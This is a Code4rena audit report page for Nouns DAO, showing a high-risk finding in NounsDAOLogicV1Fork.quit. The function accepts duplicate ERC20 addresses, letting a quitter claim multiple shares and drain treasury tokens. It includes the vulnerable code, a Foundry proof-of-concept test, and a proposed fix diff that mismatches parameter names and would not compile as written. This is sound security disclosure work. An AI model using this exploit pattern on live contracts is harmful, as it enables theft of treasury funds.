Nouns DAO - jasonxiale's results

A DAO-driven NFT project on Ethereum.

General Information

Platform: Code4rena

Start Date: 03/07/2023

Pot Size: $100,000 USDC

Total HM: 4

Participants: 36

Period: 10 days

Judge: gzeon

Total Solo HM: 3

Id: 257

League: ETH

Nouns DAO

Findings Distribution

Researcher Performance

Rank: 3/36

Findings: 1

Award: $5,196.93

🌟 Selected for report: 1

🚀 Solo Findings: 0

Findings Information

🌟 Selected for report: jasonxiale

Also found by: 0xA5DF, 0xG0P1, iglyx, said, shark

Labels

bug
3 (High Risk)
high quality report
primary issue
satisfactory
selected for report
sponsor confirmed
upgraded by judge
H-01

Awards

5196.9266 USDC - $5,196.93

External Links

Lines of code

https://github.com/nounsDAO/nouns-monorepo/blob/718211e063d511eeda1084710f6a682955e80dcb/packages/nouns-contracts/contracts/governance/fork/newdao/governance/NounsDAOLogicV1Fork.sol#L206-L216

Vulnerability details

Impact

Calling NounsDAOLogicV1Fork.quit by using dupliated ERC20 tokens, malicious user can gain more ERC20 tokens than he/she is supposed to, even drain all ERC20 tokens

Proof of Concept

In function, NounsDAOLogicV1Fork.quit, erc20TokensToInclude is used to specified tokens a user wants to get, but since the function doesn't verify if erc20TokensToInclude contains dupliated tokens, it's possible that a malicious user calls the function by specify the ERC20 more than once to get more share tokens

    function quit(uint256[] calldata tokenIds, address[] memory erc20TokensToInclude) external nonReentrant {
        // check that erc20TokensToInclude is a subset of `erc20TokensToIncludeInQuit`
        address[] memory erc20TokensToIncludeInQuit_ = erc20TokensToIncludeInQuit;
        for (uint256 i = 0; i < erc20TokensToInclude.length; i++) {
            if (!isAddressIn(erc20TokensToInclude[i], erc20TokensToIncludeInQuit_)) {
                revert TokensMustBeASubsetOfWhitelistedTokens();
            }
        }

        quitInternal(tokenIds, erc20TokensToInclude);
    }

    function quitInternal(uint256[] calldata tokenIds, address[] memory erc20TokensToInclude) internal {
        checkGovernanceActive();

        uint256 totalSupply = adjustedTotalSupply();

        for (uint256 i = 0; i < tokenIds.length; i++) {
            nouns.transferFrom(msg.sender, address(timelock), tokenIds[i]);
        }

        uint256[] memory balancesToSend = new uint256[](erc20TokensToInclude.length);

        // Capture balances to send before actually sending them, to avoid the risk of external calls changing balances.
        uint256 ethToSend = (address(timelock).balance * tokenIds.length) / totalSupply;
        for (uint256 i = 0; i < erc20TokensToInclude.length; i++) {
            IERC20 erc20token = IERC20(erc20TokensToInclude[i]);
            balancesToSend[i] = (erc20token.balanceOf(address(timelock)) * tokenIds.length) / totalSupply;
        }

        // Send ETH and ERC20 tokens
        timelock.sendETH(payable(msg.sender), ethToSend);
        for (uint256 i = 0; i < erc20TokensToInclude.length; i++) {
            if (balancesToSend[i] > 0) {
                timelock.sendERC20(msg.sender, erc20TokensToInclude[i], balancesToSend[i]);
            }
        }

        emit Quit(msg.sender, tokenIds);
    }

Add the following code in test/foundry/governance/fork/NounsDAOLogicV1Fork.t.sol file NounsDAOLogicV1Fork_Quit_Test contract, and run forge test --ffi --mt test_quit_allowsChoosingErc20TokensToIncludeTwice

    function test_quit_allowsChoosingErc20TokensToIncludeTwice() public {
        vm.prank(quitter);
        address[] memory tokensToInclude = new address[](3);
        //****************************
        // specify token2 three times
        //****************************
        tokensToInclude[0] = address(token2);
        tokensToInclude[1] = address(token2);
        tokensToInclude[2] = address(token2);
        dao.quit(quitterTokens, tokensToInclude);

        assertEq(quitter.balance, 24 ether);
        assertEq(token1.balanceOf(quitter), 0);
        //****************************
        // get 3 time tokens
        //****************************
        assertEq(token2.balanceOf(quitter), 3 * (TOKEN2_BALANCE * 2) / 10);
     }

Tools Used

VS

By using function checkForDuplicates to prevent the issue

--- NounsDAOLogicV1Fork.sol	2023-07-12 21:32:56.925848531 +0800
+++ NounsDAOLogicV1ForkNew.sol	2023-07-12 21:32:34.006158294 +0800
@@ -203,8 +203,9 @@
         quitInternal(tokenIds, erc20TokensToIncludeInQuit);
     }
 
-    function quit(uint256[] calldata tokenIds, address[] memory erc20TokensToInclude) external nonReentrant {
+    function quit(uint256[] calldata tokenIds, address[] memory erc20tokenstoinclude) external nonReentrant {
         // check that erc20TokensToInclude is a subset of `erc20TokensToIncludeInQuit`
+        checkForDuplicates(erc20tokenstoinclude);
         address[] memory erc20TokensToIncludeInQuit_ = erc20TokensToIncludeInQuit;
         for (uint256 i = 0; i < erc20TokensToInclude.length; i++) {
             if (!isAddressIn(erc20TokensToInclude[i], erc20TokensToIncludeInQuit_)) {

Assessed type

Other

#0 - 0xSorryNotSorry

2023-07-19T23:33:37Z

The issue is well demonstrated, properly formatted, contains a coded POC. Marking as HQ.

#1 - c4-pre-sort

2023-07-19T23:33:40Z

0xSorryNotSorry marked the issue as high quality report

#2 - c4-pre-sort

2023-07-20T12:12:29Z

0xSorryNotSorry marked the issue as primary issue

#3 - c4-sponsor

2023-07-20T20:49:05Z

eladmallel marked the issue as sponsor confirmed

#4 - eladmallel

2023-07-20T20:49:10Z

#5 - c4-judge

2023-07-24T09:06:24Z

gzeon-c4 marked the issue as satisfactory

#6 - c4-judge

2023-07-24T09:09:47Z

gzeon-c4 marked the issue as selected for report

#7 - c4-judge

2023-07-24T09:09:56Z

gzeon-c4 changed the severity to 3 (High Risk)

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter